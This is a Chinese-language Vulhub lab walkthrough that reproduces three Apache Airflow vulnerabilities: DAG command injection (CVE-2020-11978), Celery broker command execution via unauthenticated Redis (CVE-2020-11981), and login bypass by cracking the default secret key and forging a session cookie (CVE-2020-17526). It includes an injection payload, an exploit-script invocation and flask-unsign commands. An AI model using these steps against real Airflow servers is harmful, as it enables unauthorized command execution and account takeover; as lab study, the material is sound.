Vulhub——Airflow

一、CVE-2020-11978（示例DAG命令注入）

Apache Airflow是一款开源的，分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞，未授权的访问者可以通过这个漏洞在Worker中执行任意命令。

启动环境

#初始化数据库
docker-compose run airflow-init

#启动服务
docker-compose up -d

访问1922.168.92.6:8080/admin，可以看到airflow管理端，并将example_trigger_target_dag前面的Off改为On。

再点击执行按钮，在Configuration JSON中输入：{"message":"'\";touch /tmp/airflow_dag_success;#"}，再点Trigger执行dag：

可以看到执行成功~

查看容器中是否成功创建文件

docker compose exec airflow-worker ls -l /tmp

二、CVE-2020-11981(Celery 消息中间件命令执行)

Apache Airflow是一款开源的，分布式任务调度框架。在其1.10.10版本及以前，如果攻击者控制了Celery的消息中间件（如Redis/RabbitMQ），将可以通过控制消息，在Worker进程中执行任意命令。

利用这个漏洞需要控制消息中间件，Vulhub环境中Redis存在未授权访问。通过未授权访问，攻击者可以下发自带的任务airflow.executors.celery_executor.execute_command来执行任意命令，参数为命令执行中所需要的数组。

我们可以使用exploit_airflow_celery.py这个小脚本来执行命令touch /tmp/airflow_celery_success

pip install redis
python exploit_airflow_celery.py 192.168.92.6

docker exec 52f9 ls -l /tmp # 查看是否成功创建文件

三、CVE-2020-17526(默认密钥导致的权限绕过)

Apache Airflow是一款开源的，分布式任务调度框架。默认情况下，Apache Airflow无需用户认证，但管理员也可以通过指定webserver.authenticate=True来开启认证。
在其1.10.13版本及以前，即使开启了认证，攻击者也可以通过一个默认密钥来绕过登录，伪造任意用户。

访问登录界面会返回cookie

curl -v http://localhost:8080/admin/airflow/login

使用flask-unsign这个工具来爆破签名时使用的SECRET_KEY：

pip3 install flask-unsign[wordlist] # 安装flask-unsign
flask-unsign -u -c eyJjc3JmX3Rva2VuIjoiNzJiMGZiMzAzMGYzMGY4N2Y0ZGM0YWQ3NWY4YmZmYTM2MDEyODM0OSJ9.Zk2e6Q.88HwOH08CYz6rCMSIsBUm55vLp4 # 爆破签名密钥

成功爆破出Key是temporary_key。使用这个key生成一个新的session，其中伪造user_id为1：

flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"

将cookie值替换为刚刚生成的cookie再访问。

成功绕过登录检测，但是此时cookie值发生了改变，就是不是我们生成的那个cookie了。